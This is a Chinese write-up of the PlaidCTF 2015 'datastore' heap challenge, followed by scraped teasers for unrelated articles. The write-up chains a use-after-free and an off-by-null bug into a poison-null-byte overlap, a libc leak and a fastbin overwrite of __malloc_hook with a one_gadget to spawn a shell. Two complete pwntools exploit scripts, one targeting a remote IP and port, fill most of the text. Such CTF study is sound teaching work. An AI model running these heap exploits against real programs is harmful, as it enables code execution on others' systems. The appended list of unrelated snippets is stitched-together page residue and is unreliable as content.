题目: plaidctf2015_plaiddb ->datastore

保护

恩,全开

分析

这题不用纠结这个二叉树算法,解题思路和算法方面关系不大

put函数:(用于添加键值对)

off-by-null函数

get函数: (显示单个数据库中键的值)

dump函数(用于显示所有信息)

dele函数(内容过多,只粘贴核心部分,用于删除单个键值对)

bss全局保存变量

程序的数据库结构理解图:

思路

程序中有uaf漏洞,off-by-null漏洞,且程序保护措施全开,思路就是在__malloc_hook 处写入one_gadget 进行攻击,那么可以用posion null byte + fast bin attack 进行getshell

那么首先就是使用posion null byte 泄露libc

因为程序有固定的malloc格式,且具有溢出null字节的malloc处在key_ptr处那么就需要将key_ptr放置在unsort bin的上面

malloc(1) 10个 然后free()它们,这样key_ptr(0x20)和all_ptr(0x40)就会留在fast bin里面,下次malloc时就会去bin中重新分配,而自定义大小的data_ptr就可以物理邻边了如图所示:

for i in range(10):put(str(i), 1, str(i))
for i in range(10):dele(str(i))

此时的堆结构

接下来构造posion-null-byte的堆结构 : chunkA + chunkB(unsort) + chunkC 其中chunkA具有溢出null字节功能

put('A',0x70,'A'*0x70) #不能是unsort bin不然会和B合并
put('B',0x100,'B'*0x100) #必须是unsort bin用于后面的分割unsort bin
put('C',0x100,'C'*0x100) #必须是unsort bin才能在释放后根据prev_size进行向上合并
put('P',0x20,'P') #用于防止合并进top chunk

经过上面的布局现在堆空间将会把data_ptr物理邻近在一起如图 : (因为fast bin的先进后出的规则顺序P->C->B->A )

那么现在posion-null-byte的堆结构可以搭好,那么就需要使0x55ce662535a0(0x80)这个chunk可以溢出null字节,因为这个chunk是属于data_ptr它并没有null字节溢出功能,那么就可以通过uaf漏洞将他free掉,再malloc一个key_ptr大小为0x70( 解释看下图伪函数 )就可以拿到这块堆块了

dele('A') #free chunkA 使下面的key_ptr拿到这块
dele('B')
put('A'*0x78,0x10,'A'*0x10)#off-by-null #key_ptr的默认大小为0x20 当大小为0x78时会重新分配,并且可以溢出一字节
#溢出字节到chunk_B(unsort bin状态)将size 由0x110 -> 0x100

此时的堆空间:

理解图:

因为chunkB是非fast chunk所以free后就进入了unsort bin 中,那么此时再次malloc小于0x100则会从chunkB中进行分割分配出来

put('B1',0x80,'D'*0x80)
put('B2',0x40,'E'*0x40)
#此时剩余unsort bin空间0x100 - (0x90+0x50) = 0x20

此时堆空间图:

理解图:

那么此时将chunkC释放后进行unlink合并,系统会根据chunkC的prev_size的偏移去找到chunkB1但是此时chunkB1是使用状态,且chunkC的P标志位为0,那么程序会报错,所以就需要在释放chunkC前释放chunkB1就可以正常的合并unlink了

dele('B1') #先 这里不释放的话会报错
dele('C') #后

此时堆空间如图:

从上面可以看出chunkC通过prev_size与chunkB1进行合并后chunkB2在程序中还是被认为使用状态,那么在打印数据的是否chunkB2可以正常打印,根据unsort attack可知,如果将chunkB2放入unsort bin再打印数据即可获得libc地址

直接释放chunkB2肯定是不可行的,那么这里可以再次通过unsort bin 进行分割使分割后存入unsort bin的fd和bk刚好在chunkB2的data区域那么就可以打印了,ok

put('B1',0x80,'F'*0x80) #切割unsotbin后 chunk_B2将位于unsort bin头部
get('B2') #打印chunkB2
ru('bytes]:\n')
libc_base  = uu64(rc(6)) - (0x7fe31cd6cb78 - 0x7fe31c9a9000)
success("libc",libc_base)

那么此时就可以获得__malloc_hook的地址了,然后进行fast bin attack将fast chunk写入到__malloc_hook-0x23处,再进行one_gadget即可getshell

经过上一步的泄露libc此时chunkB2是一个unsort bin,那么再次释放chunkB1那么又会发生合并,具体实现如下:

dele('B1') #重新合并unsort bin
payload = b'\x00'*0x88 + p64(0x70) #对应着__malloc_hook-0x23处的fast chunk
payload += b'\x00'*0x68+ p64(0x21) #绕过free的检查
put_s('B1',0x190,payload) #重新拿回chunk 并写入数据 将chunkB2变为fast bin
dele('B2') #释放fast bin

fast bin attack实现任意地址写需要对处于fast bin的该chunk的fd进行修改使它指向目的地址处,那么就需要再改一次chunkB2的数据如下:

dele('B1')
payload = b'\x00'*0x88 + p64(0x70) + p64(malloc_hook-0x23)
put_s('B1',0x190,payload) #修改fd  #这个put_s是我用来区分字节流和字符流的

此时的堆空间:

最后就是常见的fast bin attack手段

payload = b'\x00'*0x13 + p64(one[0] + libc_base) #第二次malloc得到__malloc_hook-0x23
put('D',0x60,'D'*0x60)
put_s('E',0x60,payload)

最终exp:

# -*-coding:utf-8 -*
from pwn import *
import syscontext.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')binary = "./datastore"global p
local = 1
if local:p = process(binary)e = ELF(binary)libc = e.libc
else:p = remote("111.200.241.244","58782")e = ELF(binary)libc = e.libc#libc = ELF('./libc_32.so.6')sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()def z(s='b main'):gdb.attach(p,s)def success(string,addr):print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))def pa(s='暂停!'):log.success('当前执行步骤 -> '+str(s))pause()
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23
#one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
#idx = int(sys.argv[1])def put_s(a,b,c):sla("PROMPT: Enter command:\n",'PUT')sla("PROMPT: Enter row key:\n",a)sla("PROMPT: Enter data size:\n",str(b))sla("PROMPT: Enter data:\n",c.ljust(b,b'\x00'))
def put(a,b,c):sla("PROMPT: Enter command:\n",'PUT')sla("PROMPT: Enter row key:\n",a)sla("PROMPT: Enter data size:\n",str(b))sla("PROMPT: Enter data:\n",c.ljust(b,'\x00'))
def dump():sla("PROMPT: Enter command:\n",'DUMP')
def get(a):sla("PROMPT: Enter command:\n",'GET')sla("PROMPT: Enter row key:\n",a)
def dele(a):sla("PROMPT: Enter command:\n",'DEL')sla("PROMPT: Enter row key:\n",a)#------------start----------------
for i in range(10):put(str(i), 1, str(i))
for i in range(10):dele(str(i))
#填充chunk至bin中 这样下面malloc的chunk就可以物理邻边
#------------架构posion null byte----------------
put('A',0x70,'A'*0x70) #不能是unsort bin不然会和B合并
put('B',0x100,'B'*0x100) #必须是unsort bin用于后面的分割unsort bin
put('C',0x100,'C'*0x100) #必须是unsort bin才能在释放后根据prev_size进行向上合并
put('P',0x20,'P') #用于防止合并进top chunkdele('A') #free chunkA 使下面的key_ptr拿到这块
dele('B') #posion null byte结构
put('A'*0x78,0x10,'A'*0x10)#off-by-null #key_ptr的默认大小为0x20 当大小为0x78时会重新分配,并且可以溢出一字节
#------------unlink----------------
put('B1',0x80,'D'*0x80)
put('B2',0x40,'E'*0x40)dele('B1') #先 这里不释放的话会报错
dele('C') #后
#------------leak libc----------------
put('B1',0x80,'F'*0x80) #切割unsotbin后 chunk_B2将位于unsort bin头部
get('B2') #打印
ru('bytes]:\n')
libc_base  = uu64(rc(6)) - (0x7fe31cd6cb78 - 0x7fe31c9a9000)
success("libc",libc_base)
#------------fast bin attack----------------
malloc_hook = libc_base + libc.symbols['__malloc_hook']
success("__malloc_hook",malloc_hook)dele('B1') #重新合并unsort bin
payload = b'\x00'*0x88 + p64(0x70) #对应着__malloc_hook-0x23处的fast chunk
payload += b'\x00'*0x68+ p64(0x21) #绕过free的检查
put_s('B1',0x190,payload) #重新拿回chunk 并写入数据 将chunkB2变为fast bin
dele('B2') #释放fast bindele('B1')
payload = b'\x00'*0x88 + p64(0x70) + p64(malloc_hook-0x23)
put_s('B1',0x190,payload) #修改fd #这个put_s是我用来区分字节流和字符流的
#------------one_gadget----------------
put('D',0x60,'D'*0x60)
payload = b'\x00'*0x13 + p64(one[1] + libc_base) #第二次malloc得到__malloc_hook-0x23
put_s('E',0x60,payload)
sla("PROMPT: Enter command:\n",'DEL') #这里不能使用PUT因为PUT第一个malloc时会对返回值进行判断malloc失败则退出
#------------end----------------
it()

方法二exp:

其实就是上面的精简版

# -*-coding:utf-8 -*
from pwn import *
import syscontext.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')binary = "./datastore"global p
local = 1
if local:p = process(binary)e = ELF(binary)libc = e.libc
else:p = remote("111.200.241.244","58782")e = ELF(binary)libc = e.libc#libc = ELF('./libc_32.so.6')sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()def z(s='b main'):gdb.attach(p,s)def success(string,addr):print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))def pa(s='暂停!'):log.success('当前执行步骤 -> '+str(s))pause()
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23
#one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
#idx = int(sys.argv[1])def put(a,b,c):sla("PROMPT: Enter command:\n",'PUT')sla("PROMPT: Enter row key:\n",a)sla("PROMPT: Enter data size:\n",str(b))if len(c) < b :sla("PROMPT: Enter data:\n",c.ljust(b,b'\x00'))else:sla("PROMPT: Enter data:\n",c)def dump():sla("PROMPT: Enter command:\n",'DUMP')
def get(a):sla("PROMPT: Enter command:\n",'GET')sla("PROMPT: Enter row key:\n",a)
def dele(a):sla("PROMPT: Enter command:\n",'DEL')sla("PROMPT: Enter row key:\n",a)#------------paddig----------------
for i in range(8):put(str(i),1,str(i))
for i in range(8):dele(str(i))
#----------------------------
#首先posion-null-byte的造成堆重叠的结构需要三个chunk
put('a',0x200,'A'*0x200) #unsort bin
put('e',0x20,'E'*0x20) #用于泄露libc
put('d',0x60,'D'*0x60) #用于malloc_hook-0x23处
put('b',0x1f0,'B'*0x1f0)#unsort bin
put('c',0xf0,'C'*0xf0)#unsort bin 必须是0xf0这样才不会被off-by-null而改变chunk->size
put('P',0x20,'P'*0x20)
#------------------------------
dele('a') #首先释放chunka 对于下面释放chunkc后发生向上合并的检查绕过
dele('b') #重新分配到key_ptr
dele(b'b'*0x1f0 +p64(0x4b0))
dele('c') #向上合并
#------------------------------
put('a',0x200,'A'*0x200)
get('e') #打印动态地址
ru('\n')
libc_base  = uu64(rc(6)) - (0x7f0eea245b78-0x7f0ee9e82000)
malloc = libc_base + libc.symbols['__malloc_hook']
success('libc',libc_base)
success('malloc_hook',malloc)
#----------------------------
dele('d') #放入fast bin attack
put('f',0x40,b'f'*0x20 + p64(0) + p64(0x71) + p64(malloc-0x23))
put('g',0x60,b'g')
put('x',0x60,p8(0)*0x13 + p64(libc_base + one[1]))
#----------------------------
sla("PROMPT: Enter command:\n",'DEL')
it()

off-null-byte-plaiddb相关推荐

  1. php %00,Nginx %00 null byte执行任意代码(php)漏洞

    Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问abc.png%00.php来执行其中的代码,恶意攻击者可以通过上传包含执行代码的图片文件来执行 ...

  2. C#中string与byte[]的转换帮助类

    在写C#程序时,string和byte[]之间的转换比较烦,在移植一些老程序时感觉很不好.我在C#中使用DES和TripleDES时移植一块老代码时也遇到了同样的情况.为了下次不为同样的事情烦恼,就写 ...

  3. String byte[] stream File之间的相互转换

    2019独角兽企业重金招聘Python工程师标准>>> //String 转 Stream public static InputStream stringTOInputStream ...

  4. java filestream 包,java.io.FileOutputStream.write(byte[] b)

    全屏 java.io.FileOutputStream.write(byte[] b)方法从指定的字节数组写入b.length个字节到该文件输出流. 声明 以下是java.io.FileOutputS ...

  5. Java中String和byte[]间的转换浅析

    Java语言中字符串类型和字节数组类型相互之间的转换经常发生,网上的分析及代码也比较多,本文将分析总结常规的byte[]和String间的转换以及十六进制String和byte[]间相互转换的原理及实 ...

  6. 字节增强java_提高byte的效率

    帅子 阅读(792) 评论(0)  编辑  收藏 所属分类: J2EE技术专区 在网络编程中,我们经常要组建自己的网络协议,通常我们把数据按照协议组成byte数组,通过byte数组实现客户端与服务器端 ...

  7. android byte的使用

    今天,简单讲讲android里byte的使用. 这个其实很简单,但是自己觉得一直没有完全弄明白,所以记录一下. byte即字节的意思,是java中的基本类型,用心申明字节型的变量. 通常在读取非文本文 ...

  8. Image、Byte[]、Bitmap相互转换

    Image.Byte[].Bitmap相互转换 /// <summary>         /// 将图片Image转换成Byte[]         /// </summary&g ...

  9. libc 无法访问null_C中strlen的NULL参数

    1. C语言strlen函数参数如果是NULL,则会出错. 可以参考glibc中strlen的具体实现 通常使用前可以判断一下参数是否是NULL,或者自己写一个strlen的实现函数. 2. Stri ...

  10. java php des加密 byte数组16进制 DESTools

    大家好,我是烤鸭: 今天分享的是java 和 php des 加密. 因为接口对接,难免不同语言,加密又是必不可少的. 作为接口的提供方,必须把加密规则写好,最好有不同语言的加密demo. 1.    ...

最新文章

  1. Spring mvc-kaptcha 验证码
  2. OutofMemory之PermGen介绍
  3. SpringMVC与Mybatis整合---SpringMVC学习笔记(六)
  4. PHP数组的访问方法有几种,数组常用方法有哪些
  5. 沉浸式全息本是什么_够炫酷!联想全息教学设备,构建沉浸式教学场景
  6. Linux内核开发_将Linux内核打包成img文件
  7. 目前,有哪些云计算平台,值得我们选择
  8. cmd查看所有数据库 db2_DB2常用命令
  9. 【二叉树初阶】前中后序遍历+层序遍历+基础习题
  10. 汇编语言--计算 ffff:0 ~ ffff:b 单元中的数据的和,存储在 dx 中
  11. C++之个人银行账户管理程序(二)
  12. mac safari java插件_如果提示您信任或更新 Mac 上 Safari 浏览器中的插件
  13. c ringbuffer 源码_C语言 ringBuffer 实现
  14. Tcache Attack
  15. pythonfor反向循环_Python for 循环语句
  16. Linux ARM机器,源码安装mysql5.7.23,并且运行
  17. Android 高德地图定位和导航
  18. HTML5学习之路(电影影评网)
  19. 互联网的女性主义特征(转载)
  20. Andriod 真正意义上的唤醒第三方应用(只需要知道包名即可)

热门文章

  1. 企业信息安全建设-漏洞生命周期管理方案
  2. IPv6:配置Docker支持IPv6
  3. 【SAP Abap】SAP ALV开发(REUSE_ALV_GRID_DISPLAY_LVC)全网最详细 DEMO
  4. 新一批高考毕业生即将迈入大学校园,作为前辈想要对即将进入本专业学习的后辈们分享
  5. 微信小程序学习总结(六) --- API
  6. win7c语言编译器死机,win7 死机_电脑在装win7的时候,到了选择语言这里会死机呢?......
  7. 微信公众平台的:服务器配置,消息推送配置
  8. 数据回归方法(一)——一元回归
  9. [NOIP2016普及] 魔法阵
  10. 切比雪夫不等式 ≥ε≤